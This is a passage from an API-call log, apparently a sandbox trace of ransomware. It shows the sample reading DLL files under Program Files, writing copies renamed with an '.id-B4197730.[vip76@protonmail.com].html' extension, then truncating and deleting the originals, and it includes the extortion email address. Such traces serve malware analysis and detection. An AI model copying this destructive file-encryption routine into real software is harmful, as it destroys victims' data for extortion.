	[0078.530] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.530] lstrlenW (lpString=".bz2") returned 4
	[0078.530] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.530] lstrlenW (lpString=".7z") returned 3
	[0078.530] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.530] lstrlenW (lpString=".dbf") returned 4
	[0078.530] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.530] lstrlenW (lpString=".1cd") returned 4
	[0078.530] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.530] lstrlenW (lpString=".jpg") returned 4
	[0078.530] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.530] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.530] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33
	[0078.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.531] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=70848) returned 1
	[0078.531] CloseHandle (hObject=0x380) returned 1
	[0078.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20
	[0078.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.531] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.531] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.532] GetLastError () returned 0x0
	[0078.532] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x114c0, lpOverlapped=0x0) returned 1
	[0078.534] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x114d0, lpOverlapped=0x0) returned 1
	[0078.536] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.536] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.536] SetEndOfFile (hFile=0x384) returned 1
	[0078.537] CloseHandle (hObject=0x384) returned 1
	[0078.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.539] SetEndOfFile (hFile=0x380) returned 1
	[0078.540] CloseHandle (hObject=0x380) returned 1
	[0078.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.540] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1
	[0078.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.541] lstrlenW (lpString=".doc") returned 4
	[0078.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString=".docx") returned 5
	[0078.541] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.541] lstrlenW (lpString=".pdf") returned 4
	[0078.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString=".xls") returned 4
	[0078.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString=".xlsx") returned 5
	[0078.541] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.541] lstrlenW (lpString=".ppt") returned 4
	[0078.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.541] lstrlenW (lpString=".zip") returned 4
	[0078.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString=".rar") returned 4
	[0078.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.541] lstrlenW (lpString=".bz2") returned 4
	[0078.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.541] lstrlenW (lpString=".7z") returned 3
	[0078.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.541] lstrlenW (lpString=".dbf") returned 4
	[0078.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.541] lstrlenW (lpString=".1cd") returned 4
	[0078.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.542] lstrlenW (lpString=".jpg") returned 4
	[0078.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.542] lstrlenW (lpString=".doc") returned 4
	[0078.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString=".docx") returned 5
	[0078.542] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.542] lstrlenW (lpString=".pdf") returned 4
	[0078.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString=".xls") returned 4
	[0078.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString=".xlsx") returned 5
	[0078.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.542] lstrlenW (lpString=".ppt") returned 4
	[0078.542] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.542] lstrlenW (lpString=".zip") returned 4
	[0078.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString=".rar") returned 4
	[0078.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.542] lstrlenW (lpString=".bz2") returned 4
	[0078.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.543] lstrlenW (lpString=".7z") returned 3
	[0078.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.543] lstrlenW (lpString=".dbf") returned 4
	[0078.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.543] lstrlenW (lpString=".1cd") returned 4
	[0078.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91
	[0078.543] lstrlenW (lpString=".jpg") returned 4
	[0078.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.543] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.543] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33
	[0078.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.543] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=19648) returned 1
	[0078.543] CloseHandle (hObject=0x380) returned 1
	[0078.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20
	[0078.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.544] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.544] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.544] GetLastError () returned 0x0
	[0078.544] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0078.546] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0078.547] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.548] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.548] SetEndOfFile (hFile=0x384) returned 1
	[0078.548] CloseHandle (hObject=0x384) returned 1
	[0078.549] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.549] SetEndOfFile (hFile=0x380) returned 1
	[0078.550] CloseHandle (hObject=0x380) returned 1
	[0078.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString=".doc") returned 4
	[0078.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString=".docx") returned 5
	[0078.551] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.551] lstrlenW (lpString=".pdf") returned 4
	[0078.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString=".xls") returned 4
	[0078.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString=".xlsx") returned 5
	[0078.551] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.551] lstrlenW (lpString=".ppt") returned 4
	[0078.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString=".zip") returned 4
	[0078.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString=".rar") returned 4
	[0078.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.551] lstrlenW (lpString=".bz2") returned 4
	[0078.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.551] lstrlenW (lpString=".7z") returned 3
	[0078.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString=".dbf") returned 4
	[0078.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString=".1cd") returned 4
	[0078.551] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.551] lstrlenW (lpString=".jpg") returned 4
	[0078.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString=".doc") returned 4
	[0078.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString=".docx") returned 5
	[0078.552] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.552] lstrlenW (lpString=".pdf") returned 4
	[0078.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString=".xls") returned 4
	[0078.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString=".xlsx") returned 5
	[0078.552] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.552] lstrlenW (lpString=".ppt") returned 4
	[0078.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString=".zip") returned 4
	[0078.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString=".rar") returned 4
	[0078.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.552] lstrlenW (lpString=".bz2") returned 4
	[0078.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.552] lstrlenW (lpString=".7z") returned 3
	[0078.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString=".dbf") returned 4
	[0078.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString=".1cd") returned 4
	[0078.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0078.552] lstrlenW (lpString=".jpg") returned 4
	[0078.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.553] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.553] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33
	[0078.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.553] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=23232) returned 1
	[0078.553] CloseHandle (hObject=0x380) returned 1
	[0078.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20
	[0078.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.556] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.556] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.556] GetLastError () returned 0x0
	[0078.556] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x5ac0, lpOverlapped=0x0) returned 1
	[0078.558] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5ad0, lpOverlapped=0x0) returned 1
	[0078.560] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.560] WriteFile (in: hFile=0x384, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.560] SetEndOfFile (hFile=0x384) returned 1
	[0078.560] CloseHandle (hObject=0x384) returned 1
	[0078.561] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.561] SetEndOfFile (hFile=0x380) returned 1
	[0078.562] CloseHandle (hObject=0x380) returned 1
	[0078.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.563] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1
	[0078.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.563] lstrlenW (lpString=".doc") returned 4
	[0078.563] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.563] lstrlenW (lpString=".docx") returned 5
	[0078.563] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.563] lstrlenW (lpString=".pdf") returned 4
	[0078.563] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.563] lstrlenW (lpString=".xls") returned 4
	[0078.563] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.563] lstrlenW (lpString=".xlsx") returned 5
	[0078.563] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.563] lstrlenW (lpString=".ppt") returned 4
	[0078.563] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.563] lstrlenW (lpString=".zip") returned 4
	[0078.563] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".rar") returned 4
	[0078.564] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString=".bz2") returned 4
	[0078.564] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.564] lstrlenW (lpString=".7z") returned 3
	[0078.564] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.564] lstrlenW (lpString=".dbf") returned 4
	[0078.564] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.564] lstrlenW (lpString=".1cd") returned 4
	[0078.564] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0078.564] lstrlenW (lpString=".jpg") returned 4
	[0078.564] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
